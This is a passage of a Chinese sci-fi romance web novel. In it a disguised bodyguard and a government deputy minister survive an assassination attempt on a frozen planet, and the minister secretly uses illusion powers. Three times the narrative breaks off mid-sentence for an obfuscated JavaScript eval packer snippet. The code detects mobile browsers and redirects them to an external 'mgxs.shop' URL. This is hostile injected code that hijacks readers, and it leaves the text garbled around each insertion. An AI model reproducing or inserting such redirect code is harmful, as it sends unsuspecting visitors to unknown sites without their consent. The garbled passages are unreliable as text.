祝寒确认船票没有问题后还给百里寻,船票的信息显示面前的两人是无异能的A级带着一个C级长途跋涉,祝寒皱眉:“你们是要回去探亲?这路途可不短,万一出了什么问题,你保得住她的小命么?” 宁以歌没有给百里寻说话的机会:“祝部长放心,他可以。” “行。自信是件好事。”祝寒挑眉,“祝你们还能平安返航。” 祝寒走后,百里寻警惕地问宁以歌:“她是谁?” 刚才的女人大约三十多岁,虽然穿着打扮与其余检查人员别无二致,但全身散发着锐利的气场,尤其她望向百里寻的眼神,百里寻总疑心她会看穿自己的伪装,当场报警把他抓起来。 而她与宁以歌的关系似乎算不上好,还看不起边境行星的出身。 “交通部部长祝寒。”宁以歌回答,“她家三代从政,虽然有上一辈的荫蔽,但她本人的实力也不容小觑。” 百里寻记得这个名字,祝寒在前年上任交通部部长,是所有部长中最年轻的一位,不久之后宁以歌上任司法部副部长,有媒体点评宁以歌将有希望打破祝寒的年龄记录。 但也有媒体持悲观态度,宁以歌的C级精神体是她晋升的最大阻碍。而且宁以歌实在太年轻了,她的履历还不足以服众。 联邦政府部门一般只有一位副部长,宁以歌能破例成为司法部的第二位副部长,作为改革派吉祥物的缘故大过于她本人的实力。 百里寻问:“她看不起你?” “很多人都看不起我,”宁以歌说,“你不也是?” 百里寻不假思索地反驳:“我没有。” “宁以歌区区C级,学校凭什么收她?” “都说穷乡僻壤出刁民,从十一星这种落后的地方走出来的能有什么好人?” “她也就会死记硬背,一个书呆子有什么好在意的,我两个指头就能捏断她的骨头。” …… 宁以歌抱起双臂看向百里寻:“这些话是不是你说的?” “……那是以前。” “如果现在你没有寄人篱下,我不认为你就不会说出这些话了。” 百里寻:“……” 前方的闸门开启,百里寻泄愤似的用力启动飞船,在指示牌的引导下进入船舱,然后停稳。 “轻点,坏了你得赔。” “你就不怕惹恼我,我报复你吗?”百里寻恶狠狠地说道,“等到了第十一星远离联邦政府的直接管辖,你在我面前就是手无缚鸡之力的猎物。” 宁以歌漆黑的眼瞳中暗潮汹涌:“你说谁是你的猎物?” 熟悉的电流再度出现在脖颈,提醒他如今的处境。百里寻不吱声了,他铁青着脸窝进靠椅中,启动按摩模式,就在宁以歌以为他已经睡着的时候,百里寻沉闷的声音传了过来。 “把那张画还给我。” 宁以歌明知故问:“画?” “就是那张我画的画,把它还给我。” “我已经扔了。” 百里寻一下子坐起来,他睁着幽绿的眼睛对宁以歌怒目而视:“什么?你扔了!你凭什么扔?” “你不是说那就是张垃圾吗?” 百里寻白皙的脸顿时涨得通红:“垃圾……” “我帮你处理掉没有用的垃圾,你为什么要一副兴师问罪的模样?”宁以歌直视百里寻的双眼,“怎么?还是说,那其实不是垃圾,就是你特意——” “对!那就是垃圾,扔了就扔了吧,反正早晚都要扔。”百里寻打断宁以歌的话。 他靠了回去,在宁以歌探究的视线中紧紧闭上了眼睛,片刻后又转了个头,将脸朝向另一侧,让宁以歌再看不到他的表情。 舷窗外的宇宙幽深无边,无数闪烁的星子组成没有尽头的星河流淌在宁以歌的眼中,玻璃反光中的百里寻悄然转回了脸,安静的目光落在宁以歌的后脑,宁以歌不动声色地从反光的画面中观察他。 百里寻终于与反光中的宁以歌四目相对,发觉对方一直在留意着自己的动作,脸顿时沉了下去,迅速偏过头。 宁以歌露出了这趟旅行开启以来第一个发自内心的笑容:“你怎么还在生气?” “我哪敢生您的气。” 宁以歌说:“反正我人就在这,你再画一张不就是了?” 百里寻冷笑:“我现在不喜欢画画了。” 船舱里传来的报站电子音强行中断了宁以歌和百里寻的对话。 “亲爱的各位乘客,前方到站第九星,请注意携带好随身行李,有序出舱。” 百里寻操作驾驶台将私人飞船开出航船的船舱,就被前方的暴风雪糊住了视线。 舷窗的加温模式开启,凝结在窗上的霜雪化作清水流淌而下,飞船又启动干燥程序迅速烘干窗户上的水渍。 百里寻面对着窗外的漫天大雪,视野中填满了白茫茫的平原与远处连绵的雪山,一时失去了言语。 “你之前没来过第九星吧?”宁以歌观察百里寻的反应,得出结论。 “我只听说过第九星终年严寒,却没真正亲身来过,最多在运送货物时途径这个白色的星球。” 宁以歌了然,颇有耐心地向百里寻介绍:“第九星不会自转,没有四季之分,也没有日夜变换,又是距离恒星最远的星球,表面温度很低,地表覆盖着终年不化的积雪。朝阳而极昼的东半球建有交通站与补给站,但通往这里的航线与班次并不多,绝大多数到这里的人都是前往第十三星 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239415|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、第十一星和第十二星。联邦与辰冕帝国的战争爆发后,第十二星沦为战场,第十一星在难民潮的冲击下管理混乱,也没多少人会主动去了。” 百里寻也终于回想起一部分关于第九星的知识点:“第九星的西半球极夜区是军事基地?” “没错。西半球是联邦最大的军事基地,驻扎在这里的军队守卫着联邦的边疆,随时派兵前往支援第十二星的战场。”宁以歌说,“不过近期第十二星的战火暂息,我们的头顶上才没有了频繁来往于两星之间的战舰的踪迹。” 百里寻沉默地听着,调整飞船视野对准上方的天空看了一眼,除了遥远而醒目的恒星,灰蒙蒙的飘着鹅毛大雪的天空中什么也没有。 宁以歌调出地图,标记了一个名为补给站的点:“我们先去这里补充燃料,补给站不远处有一家旅馆,我们去短暂休息一晚,明天继续往第十一星飞。” 百里寻依言将飞船往目的地开。 飞船驶入补给站的室内,就有招待员和机器人围上来,为他们登记信息,运送来与飞船型号匹配的燃料开始操作。 宁以歌打开光脑支付界面,干脆利落地付完钱:“要最好的燃料,全加满。明天早上我来取。” 她微微侧头,看向百里寻,对他说:“我好像忘了你的工资,先支付你一个月的。” 百里寻的光脑震动,他抬手一瞧,银行账户里多了一笔不小的钱。 这个银行账户是宁以歌用不知名途径操作办理的属于“宁希”的。她将密码给了他,只是之前这个账户里余额为零,直到现在才有了除零以外的数字。 “你可以随便花。”宁以歌说。 目前为止自己除了开车开飞船之外什么事都没干,钱倒是先到账了。百里寻语气古怪:“哇哦,我是不是算被你包养了?” “我不喜欢让别人吃白饭,我给出的每一分钱都必须价有所值。”宁以歌往补给站的出口走去,刻意压低声音,“今晚就有个麻烦需要你去解决。” 百里寻的眼皮一跳。 宁以歌没有急着解释,她先询问补给站的前台旅馆怎么走,前台侍者为她在地图上指了路,并将他们带进更衣间,提供了两套黑色的极寒防护服。 “补给站到旅馆有一段路是室外,需要步行十分钟,不穿特制的防护服人会冻死的。”侍者贴心地说,“防护服中有应急包,应对特殊情况,虽然只有十分钟路程,但准备充分点准没错。” 侍者离开了,更衣室中只剩下宁以歌与百里寻。 宁以歌示意百里寻将他们随身携带的小件行李打开:“换上你的轻甲,再套上防护服,防护服很宽大,能穿得下。防护服虽然御寒性能顶尖,但没有多少进攻与抵御攻击的功能。轻甲也有御寒作用,但为了不那么显眼,你还是再套一层防护服为佳。” 在百里寻困惑的目光中,宁以歌语气认真:“以防万一。” 等到他们都穿好防护服走向通往室外的通道时,宁以歌将手枪别上后腰,徐徐开口:“听着,有人跟了我们一路,我身边换了个业务不熟练又名不经传的小保镖的消息早就传了出去,如果不出我所料,他们一定不会放过这个机会。” 宁以歌透过防护服透明的面罩深深地注视着百里寻的眼睛:“证明你价有所值的机会来了,宁希。” 22. 袭击 通道的尽头近在眼前,两道隔离门外就是极寒。 宁以歌停了脚步,向身边的百里寻伸出手:“我记得你带了没喝完的酒,给我喝一口。” 百里寻怔了一下,但他还是从腰侧挂着的装备包中取出装在小型饮水壶中的酒,递给了宁以歌:“你不是不喝酒吗?” “外头冰天雪地的,酒能驱寒。” 百里寻思考了一下,这逻辑似乎没问题,他又问:“你不是洁癖吗?愿意跟我用同一个水壶?” 拧开盖子正准备喝的宁以歌瞟了他一眼:“你问题怎么这么多?” 百里寻盯着宁以歌的手不说话了。 他曾听过的关于宁以歌常年佩戴手套的传言之一就是宁以歌有很严重的洁癖,不喜欢与他人直接接触。传言之二是宁以歌在第十一星任职期间受过伤,免疫系统受损,双手不能长期接触外界,否则极易过敏。 宁以歌回应了百里寻的疑问:“我没有洁癖。再说了,我们亲都亲过了,喝一个瓶子的水又怎么了?” 百里寻噎住了,防护服透明面罩后面的眼睛又恼羞地瞪着宁以歌。 她将剩下的小半瓶啤酒还给百里寻,百里寻打开面罩,故意恶心宁以歌似的,贴着她刚才喝过的位置将剩下的酒一饮而尽。 宁以歌看着他的动作,露出意味不明的浅笑:“走吧。” 室外的积雪中被压出一条勉强能通人的步行道。被压实的步行道上结了一层厚实的冰雪混合层,幸好防护服配套的鞋子完全防滑,才能使他们稳稳地向旅馆前进。 没走出五分钟,百里寻忽然猛地拽住宁以歌的胳膊,向身后一拉。一颗子弹从左后方的高空中飞射而来,擦过宁以歌的身前,嵌入雪地之中。 紧接着,又是两声枪响,彻底刺破了雪地的寂静。 百里寻迅速确定了子弹的方向,带着宁以歌躲避到不远处的巨石后,急切地问宁以歌:“这就是你说的麻烦?” 宁以歌的神情倒是出乎百里寻意料的镇静:“是的。” “至少有两名袭击者,我真的不能使用异能?” 只要百里寻动用异能就能凭借金属武器定位袭击者,并且不费吹灰之力干掉他们,根本不需要大费周章。 “除非你能保证你使用的异能被对方察觉后不给他们传递讯息的机会,并且在后续警方调查现场的时候不会发现端倪,那就可以使用。”宁以歌提出严谨的要求。 百里寻无语凝噎,他并不知道对方实力,A级及以上精神力就能感受到他进行金属探测的精神力,并且确定他是异能者,所以他只能靠纯粹的感官和经验去判断敌方在哪。 宁以歌说:“刚刚的子弹都是从高空中来的。我们的七点钟方向200米有一个信号塔,十二点方向400米有一个废弃的旅馆建筑,再往前500米就是现在还在使用的旅馆,只有这三个建筑顶端可以躲藏枪手。” 百里寻皱了下眉,他的异能范围最多只有一百米,看来他想原地解决他们本来就行不通。 “好,我去解决掉他们,要留活口吗?” 宁以歌摇头:“这两个狙击手就是小喽啰,不必特意留活口。” 百里寻摸了下装备包,只摸出一把短距离手枪,难以置信地问道:“我就一把手枪?你就给我一把小手枪去对付对面两个少说也带了步枪的敌人?” 宁以歌气定神闲地回复:“你杀了他们,他们的武器不就是你的武器了吗?” 百里寻:“……” 宁以歌:“不是我故意只给你一把手枪,是因为除了便携式手枪,其他枪械是不允许携带上公共交通工具的。” 百里寻冷笑:“行。” 又来了三发子弹,百里寻带着宁以歌翻滚入另一块巨石背后,问道:“我先去杀信号塔上的那个,你一个人在这边躲着没事吧?” “你要多久?” “五分钟以内。” 宁以歌点头。 得到宁以歌的确认,百里寻安心转身面对目标的方向,为手枪子弹上膛,从心底呼叫阿金。 阿金立刻回应了他的需求,人体与精神体高度融合,百里寻的绿色瞳孔短暂恢复为金色,竖瞳呈现在他的眼中,他的身体素质与感官已趋近于半兽状态。 他的视力提升,金色竖瞳紧紧锁定了信号塔上的黑色身影,下一秒,百里寻姿态如老虎般窜了出去,以极快的速度到达信号塔下,仿佛一道黑色的闪电无声地顺着钢结构攀上了信号塔。 信号塔上的狙击手察觉到背后的动静时已经晚了,在他转身的时候百里寻抬枪射击,狙击手训练有素,狭小的空间内居然成功及时躲避了百里寻的子弹。 他将手中的狙击步枪对准百里寻,诧异地问他:“你的速度怎么这么快……” 百里寻没有回答他的问题,狙击手准备扣动扳机的时候他的后脑毫无征兆地爆开血花,防护服的头盔被染红了。经百里寻操纵的合金子弹在落空之后转了个弯穿透头盔击中了枪手的大脑。 狙击手倒地,百里寻立即打开他的装备包,除了他手上的狙击步枪,包里还有一把短刀、一把手枪、两枚手榴弹以及充足的子弹,都是不知道从哪里淘来的陈旧的型号,但对付两个非异能者是足够的。 只可惜,百里寻不是非异能者。 “当杀手还穷抠成这样装备一堆破烂,看不起谁呢?”百里寻腹诽,但凡对方配一把激光枪也不至于死得这么快。 百里寻端起狙击步枪,补充子弹,在视野中找寻另一个狙击手。 另一个狙击手在废弃旅馆的屋顶,幸好,这还在狙击步枪的射程之内。 从宁以歌那里受的气还没有消散,百里寻的心情很不好,他眼中的冷意转移到了目标身上。 废弃旅馆楼顶的狙击手发觉了这边的不对劲,他举枪对准了百里寻,但百里寻的子弹比他更快一步。 对面的枪手没死,但他的右臂中弹,防护服破裂,他连忙躲到旁边的掩体后休整。 百里寻一动不动地瞄准掩体边缘,只要对方一露头,他敢肯定这次就一定能打中他的头颅。 就在这时,百里寻脚下的信号塔传来不正常的振动,仿佛什么机器在启动。 随着信号塔底的振动,百里寻看见宁以歌所在的方位的积雪裂开了一道缝隙,紧接着巨型的雪白的蚕形虫子破雪而出。 百里寻目光一凛,如果他没记错,这是生活在第九星地表下的异种极地雪蚕,平时蛰伏于雪地之下,极少主动现身攻击人。 百里寻反应过来,对方早就布置了吸引异种的声呐装置,并且在这一刻启动了它。 此刻刚冒出头的雪蚕张着可怖的血盆大口四处搜寻猎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248650|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,它先是转头面向百里寻所在的信号塔的方位,又被对面枪手打在宁以歌躲藏的岩石上的枪声吸引。 它闻到了人类的气息,于是缓缓蠕动着靠近宁以歌。 就在狙击手向宁以歌再次射击的时候,百里寻立即射杀了他。百里寻又瞄准雪蚕头部连开数枪。雪蚕中弹却没有折损,它生活在极寒地带,进化得皮糙肉厚,区区子弹奈何不了它。 百里寻背起装备包,迅速落地,他定位声呐装置的位置,丢下一枚手榴弹,爆炸声后装置被破坏,百里寻继续与阿金融合奔向宁以歌的方向。 宁以歌躲藏的岩石已经被雪蚕掀翻,她在雪蚕巨大的阴影中举着枪步步后退。 雪蚕横亘在百里寻与宁以歌之间,百里寻继续射击雪蚕吸引它的注意力。 雪蚕终于转头面向百里寻的时候,百里寻惊恐地发现宁以歌身后不远处又出现了一个人影。除了那两名枪手,还有第三个杀手! 百里寻在通讯器中大喊:“宁以歌,后面!” 宁以歌及时回头,避开了凝聚而成的冰锥。 通讯器里宁以歌的声音依然保持着冷静:“对方是第二星那个A级控冰异能者。” 这位拥有异能的杀手没有穿防护服,他能够控制冰就意味着他对极寒的环境有一定抵御能力。 杀手在向宁以歌走来,他一边走,一边不断在身前凝聚冰锥向宁以歌发起攻击。 与此同时,杀手也掏出了手枪,瞄准了宁以歌。 百里寻因为雪蚕的袭击而分身乏术,他只能勉强留意宁以歌那边的情况。 雪蚕的口器摩擦发出嘶鸣声,百里寻盯着它的口器,伸手就要掏手榴弹。 可雪蚕仿佛察觉到了他的意图,它原本藏在地下的尾部骤然出现,甩向百里寻。 雪蚕最恐怖的是它攻击的力道,百里寻猝不及防被击中,直接飞出一二十米远,武器散落一地,他本人落地后在雪地上连滚几圈才稳住了身形。 百里寻身上脆弱的防护服果然在翻滚中撕开了数道口子,但里面还有一层轻甲,所以他并不在意。 百里寻余光看见控冰的杀手和宁以歌之间的距离越来越近,宁以歌明显落于下风。她虽然有手枪,但受制于对方的精神力压迫,除了躲避几乎毫无还手之力。 而这边百里寻被雪蚕拦住了去路,只能干着急。 他怒了:“该死的虫子,看我不弄死你!” 百里寻当即操纵不远处落在地上的装备包中的短刀飞起,直接钻入雪蚕张大的口器中,并狠狠刺入雪蚕身体内部柔软的血肉中。 百里寻发力,短刀顺着雪蚕的口器往下划去,穿透了它的内脏,鲜血顿时从雪蚕的口中喷涌而出。 它在剧痛中挣扎着倒下,百里寻毫不犹豫地借力旁边的石壁一跃而起,踩在雪蚕晃动的脑袋上,死死扣住它的头,将手榴弹塞进它的嘴里。 而后翻身落地,后退数米距离。 手榴弹爆炸,无助的雪蚕在苍白的雪地上炸成了一朵血色的烟花。 百里寻透过血雨去看宁以歌那边的情况,宁以歌似乎受伤了,她跌坐在地上,眼睁睁地看着面前的杀手操纵冰锥向自己刺来。 危急时刻,百里寻手指微动,远处地上的手枪霎时飞回到他的手中,他毫不犹豫地瞄准了杀手的脑袋,抬枪,射击。 23. 异能 子弹冲出枪膛,却接连两发落了空。 距离宁以歌不过才十米的异能杀手的心底涌上了不可置信的恼怒,明明面前是手无缚鸡之力的C级精神体拥有者,为什么他开了两枪都没打中她的身体?为什么她总能碰巧避过他的弹道?难道真的是他自己的射击水平退步了? 想不明白这个问题的杀手索性放弃用枪,改用异能。 宁以歌释放出她那滑稽的断角山羊试图反击,可他只是一挥手,无数冰锥便逼退了这只山羊,雪地上又只剩下宁以歌在步步后退。 再后退又能退到哪里?这里的冰天雪地是他的冰系异能的领域。 杀手轻巧抬手,无数冰锥从雪地上凝聚逼向宁以歌,宁以歌躲闪中一个踉跄,狼狈跌坐在地。她迅速寻找着保镖的身影,可惜那没用的保镖被雪蚕缠住了脚步,宁以歌只能继续满脸恐惧地望着杀手。 她惊慌失措地问杀手:“你是谁?又是谁派来的?为什么要杀我?” 杀手露出了胜券在握的笑容,此前一直保持沉默的他决定大发慈悲给死到临头的可怜女人一句提示:“你背叛了魂主,所以必须死。” 尽管声音害怕到颤抖,宁以歌还是抬起头执着地追问:“我从未效忠,何谈背叛?” 杀手被激怒了:“觉醒精神体的人类本就是魂主的子民,不效忠即是背叛!” 他在愤怒中凝出道道冰雪枷锁,将宁以歌牢牢锁在雪地上,而后在掌间凝聚出锋利的冰锥,对准了宁以歌的防护服头盔后的脸。 宁以歌的头盔上已经裂开了一条缝隙,即使已经在慌乱中贴上了应急补丁,但仍然在往里面渗着寒气。 只需要他一弹指,冰锥就会穿过宁以歌的头盔刺入她的头颅。 杀手也这样做了。 冰锥刺入宁以歌的头盔,却像沉入流沙的树枝,很快被卷入扭曲如水面涟漪的防护玻璃中消失不见。而头盔中宁以歌惊慌的脸庞上没有一丝一毫的伤口。 杀手的呼吸停滞了一瞬,发生了什么?他的冰锥为什么消失了? 他迅速抬枪对着宁以歌的身体射击,诡异的画面却依然在继续。 子弹命中宁以歌的身体,却没有溅出任何血迹,它们就像被黑洞吞没碾压的石子,悄无声息地吸进了宁以歌的身体中,而防护服上因为子弹造成的裂口竟然在自主愈合。宁以歌的目光却依然那样惊慌,仿佛没有意识到在自己身上发生的一切异状。 “你……”杀手无措地往后退了一步,后脑却抵上了冰冷的枪口。 身后,宁以歌阴恻恻的声音出现在杀手的耳畔,宛如恶龙吐息:“我好像有点记不得了,你将是第几个死在我手上的人?” 恐惧仿佛宇宙的无边寂静在将杀手寸寸吞噬。面前的宁以歌脸上的惊恐在此刻同样出现在了杀手的脸上。 面前这个跌坐在地的无助女人是宁以歌,那么站在自己身后的宁以歌又是谁? 杀手猛然回身错开宁以歌的子弹,与此同时疯狂掀起冰锥潮冲向身后的宁以歌。 身后的那个宁以歌举着枪,面色阴鸷地盯着他,她一动未动,无数冰锥轻而易举地穿透了她的身体,却依然没有流出哪怕一滴血。仿佛杀手只是在扎一团稻草。 熟悉的枪口再度抵上杀手的后脑,宁以歌犹如幽灵出现在杀手的身后继续沉默地举着手枪。 杀手再次疯狂对准身后发起攻击,同时在周身筑起冰墙,身后的宁以歌在攻击中又一次凝固成诡异的无生命的塑像。躲藏在四面冰墙后的杀手战战兢兢地环顾四周,周围的三个宁以歌在风雪中作雪花散。 冰墙之内,真正的宁以歌的身影渐渐清晰,她手中的枪抵在杀手的额前,在精神力威压下,杀手双腿发软跪坐在地,徒劳地挪动膝盖向后退。 杀手终于明白了什么,他的声音在剧烈地颤抖:“这是幻术!你是精神系异能者?怎么可能……C级精神力怎么可能会觉醒异能?” 宁以歌面无表情地扣下扳机。 “问你的魂主去吧。” 温热的鲜血溅在宁以歌的玻璃面罩上,融化了一小片冰霜,又在瞬息之间凝结成红色的霜花。 此刻一直冷漠以对的宁以歌才露出了嫌恶的表情。 风雪带走了最后一丝残余的幻象,地面上凌乱地散落着杀手凝聚出的冰锥,在幻术侵入精神的最后时刻,连他以为自己打造出的冰墙也只是他臆想中的事物。 宁以歌用白雪简单擦了擦枪口上的血迹,插回了腰侧。 “但是我不能没有受伤。”她低语着蹲下身,随意拾起一块锋利的冰锥塞进杀手还没有凉透的手中,协助他握紧,然后举起杀手的手对准了自己腹部伤害最小的位置,狠狠刺了下去。鲜血顿时涌出防护服,染红了宁以歌和死人的手。 宁以歌闷哼一声,按着伤口咬牙站起。 耳边传来爆炸声,她抬头看向百里寻的方向,在她幻术范围内的百里寻正举枪瞄准了这里。他的枪口对准的地方,原本该在那里的杀手早就在半分钟之前躺在了地上。 百里寻开枪的那一刻,宁以歌勾起唇角,缓缓倒了下去。 百里寻在向她冲来,他太着急了,甚至没有留意到他明明是朝杀手侧面开的枪,为什么弹孔会出现额头上。 他只会认为是他开枪射杀了杀手,地面因为他的手榴弹惊动了第二只雪蚕而在持续震动,很快雪蚕就会破土而出,然后吃掉杀手的尸体,不会有任何人发现异常。 宁以歌依然是那个柔弱的、总是受伤的、可怜的C级精神体拥有者。 她离不开他人的保护。 宁以歌的面色因失血而过分苍白,百里寻小心地抱起了宁以歌,他的视线瞬间被宁以歌腹侧的鲜红血迹吸引了目光,他的声音在微微颤抖:“你受伤了!” 他突然反应过来,连忙去摸腰上的装备包,不熟练地掏出医药急救包,取出两根针管,一针是红色的止血剂,一针是黄色的抗生素。 百里寻又意识到此刻宁以歌的防护服破裂,寒气正在侵蚀她的身体。他再次摸出一包压缩气囊,伸手一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259111|197319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抖,结实而透明的防寒气囊瞬间张开将他们包裹入内,将无垠的严寒隔绝在外。 此时百里寻才撕开宁以歌腹部的防护服,找准伤口的位置,举起针管在旁边扎了下去。 血堪堪止住了,百里寻不敢停歇,他继续打开光脑呼叫附近的警队,通讯接通的同时,第二只雪蚕终于从雪地中探出了身子,蠕动到同类与杀手的尸体旁开始进食。 雪蚕钻出地面造成的震动使宁以歌与百里寻所在的椭球体气囊开始翻滚,幸而此处是平地,他们没翻几圈就停了下来。 百里寻一撑住了身体就去查看宁以歌的情况。 刚才的翻滚导致她还没有愈合的伤口再次撕裂。鲜血染红了她穿在防护服里面的衣服,可她连哼都没哼一声,只是安静地注视着忙前忙后的百里寻。 宁以歌的声音虽然虚弱,但依旧平稳到听不出情绪:“百里寻,你很担心我吗?” 百里寻的动作停住了,他却只停了这一瞬间,又若无其事地继续包扎宁以歌腹部的伤口:“你要是死了,我也得陪葬。” 宁以歌笑了,她的笑声只剩下气声,她一笑,伤口的肌肉在扯动着流出更多的血。 “这有什么好笑的?不许笑!”百里寻一边用愤怒的语气警告宁以歌,一边取出最后一管止血剂扎进宁以歌的腹部,“宁以歌,你想死能不能别带上我?” “我不会死的。”宁以歌笑着笑着声音越来越低,仿若呢喃。最终百里寻眼睁睁地看着她闭上眼睛陷入昏迷。 在最后的意识中,宁以歌模糊听见百里寻焦急万分的呼唤声,还有毛茸茸的庞然大物将她圈在怀中,柔软的皮毛温暖了她渐渐降低的体温。 可她已经听不清百里寻在喊什么了。 意识再度恢复清明时,宁以歌睁开双眼,首先看见的是病床边一身深灰色军装的蓝发女子。 她是驻扎在第九星的联邦军队总司令,莱娜将军。 依据面前人的身份,宁以歌判断出了自己身处的地方,这里是第九星军医院。 莱娜瞧见宁以歌苏醒,松了一口气,在宁以歌眼前挥了挥手:“宁部长?宁以歌?还记得我吗?” 宁以歌扯动嘴角坐起身:“莱娜将军,我受伤的不是脑子。” 莱娜大笑起来:“以防万一嘛!确认你没事就好了,要不然宁部长在我的地盘上出了什么事,第十一星的人民不得把我切成臊子?” 她大咧咧地将被子掀开一角展示给宁以歌看:“手术后我们给你上了最好的药,你看,现在血肉已经差不多重新长好了,明天你就能行动自如了。” “多谢,我现在感觉确实好多了。”宁以歌将视线转向另一侧,她终于看见了不知道在房间角落站了多久的百里寻。 百里寻依然穿着那一身私人保镖配备的轻甲装备,单向透明的面罩完全遮住了脸。银甲上混着雪蚕碎片和宁以歌鲜血的污渍还没有来得及清理,整个人躲藏在距离她与莱娜很远的阴影里,微垂着头看向这边,像一个未得到嘉奖的落寞的士兵。 24. 探病 “哦,差点忘了。”莱娜注意到了宁以歌的视线,她说,“他说他叫宁希,是你的保镖。是他一直保护着你等待救援队的到来,因为身上衣服太脏了,他觉得不应该靠你太近。护士叫他去换衣服,他也不愿意,说他得亲眼确保你的安全,就这样站在那等你醒来。” 莱娜啧了一声:“他是你的新保镖?你受伤我看他都快急死了,这保镖当得可真是真情实感。” 宁以歌眼睫轻颤,却只是平静地说:“他只是害怕我死了,保镖颈环就会带走他的命。” 莱娜瞥了一眼宁以歌手上的戒指,了然:“差点忘了这个东西。” 病床上的宁以歌看了百里寻半天,发觉他真的打算在角落里站到天荒地老,终于忍不住喊他:“宁希。” 百里寻如梦初醒瞬间挺直了身体,见已经得到宁以歌的许可,他才走到了病床边。宁以歌能感受到那不透明的面罩后面百里寻正在观察着她。 “我没事了。”宁以歌向百里寻介绍,“这位是莱娜将军。” 百里寻自然而然地向莱娜伸出手:“您好。” 他的手套上全是血,刚伸出去的霎那他自己也意识到了不妥,又犹豫着缩回了手:“不好意思。” “宁希,你先去换身普通衣服吧,这里不会再有危险了。” 百里寻向她们微微鞠躬,离开了病房,并带上了房门。凝望着百里寻的背影,宁以歌感受到出现在百里寻身上微妙的变化。 他好像格外听话了,越来越像一个真正的保镖。 目送着百里寻离开的还有莱娜:“你上哪找的新保镖?看起来还不错,身体轮廓也能看得出是个练过的。” “他是我的表哥,第一次来到首星给我当保镖。”宁以歌说,“安迪不在,我只信得过亲人了。” 莱娜沉默片刻,忽然将话题转了个弯:“前段时间联邦似乎并不平静,我远在第九星也有所耳闻。机密军事武器设计图纸泄露,第十星监狱又被炸毁,联邦还损失了个S级精神体。” “S级精神体……你说的是百里家的那个继承人吧?” “是啊,说来挺可惜的,当年他服兵役的时候我就觉得这小子是个战士苗子,只可惜联邦忌惮于百里家,不允许留他在军中发展。”莱娜说。 联邦的A级以及S级精神体拥有者都会被强制要求服兵役,百里寻刚从墨菲学院毕业就去了军中服役,也是在那时候,莱娜记住了他。 宁以歌惋惜地叹息:“也是,他与你一样,都拥有着觉醒了控制金属异能的S级精神体,如果他能跟在你后面发展也许就是另一番景象。” “你也别误会,我也仅仅是可惜那个顶级精神体和异能,要是他真的背叛了联邦,就是死有余辜。”莱娜倒不是真的为百里寻伤心,她的眼中只有对异能的赏识,战争中我方多一个异能者,胜算就能多一分,“你这个表哥是什么等级?有异能吗?” “没有。”宁以歌平静地回答,“他只是A级。” “难怪你会受伤。”莱娜说,“这起事故第九星警察局会调查到底,更不用说这种恶劣的刺杀居然就发生我们军方的眼皮子底下,我们也会帮你讨个公道的。你就把心放进肚子吧。” 宁以歌笑了笑:“我当然放心,就没有莱娜将军办不到的事。” 在更衣间换衣服的百里寻磨蹭了许久,确定莱娜已经离开了宁以歌的病房,前往电梯下楼,才谨慎地从更衣间出去。 他当然记得这个蓝发女人,从前在军队服役时,这个莱娜将军一听说他的异能与自己一模一样就两眼放光,满脸写着我真想把你收入麾下。想必她也记住了百里寻的模样与声音,即使百里寻现在已经简单乔装过,但他的声音没有改变,一离开轻甲配备的变声器,他就在莱娜面前无处遁形。 只等莱娜离开,百里寻才敢回去找宁以歌。 百里寻没有开病房门的权限,他按了下病房的无声铃,许久后病房门才在面前打开。 他正欲迈进房中的脚步一顿。 白雪映亮的窗前,宁以歌正笑着与面前的男人交谈。真奇怪,明明他们逆着光,可百里寻还是将宁以歌脸上发自内心的笑容看得那样清楚。 自重逢以来,他从没见过宁以歌这样的笑容。 在余光里看见百里寻进来了,宁以歌敛起笑容,偏过头:“宁希,你回来了。” 百里寻“嗯”了一声,慢吞吞地往病房中挪,他认出了那个男人,在一个多月前雪莱女士的宴会中,他与他有过一面之缘,百里寻还记得他的名字。 里奥为什么也出现在了第九星? 里奥站起身,对着百里寻展露一个微笑:“你就是……宁希?” 百里寻不动声色地努力改变声线:“我是宁希,你是谁?” “叫我里奥就行。”里奥似乎完全没认出他,语气不善,“以歌,这就是你的新保镖?这才刚当上保镖没几天就让雇主受伤,我第一次怀疑你的眼光了。你确定还要继续用他?” 虽然话是对着宁以歌说的,里奥的蓝色眼睛却牢牢地锁定着面前黑发绿眼的男人。 百里寻也不知道哪来的气焰,他冷哼一声:“那也比你在这里马后炮强。” 里奥原本神气十足的眼睛骤然瞪大:“你说什么?” 见对面吃瘪,萎靡了好些时日的百里寻终于找回了主场的感觉,还要乘胜追击再次开口。 “宁希,住嘴!” 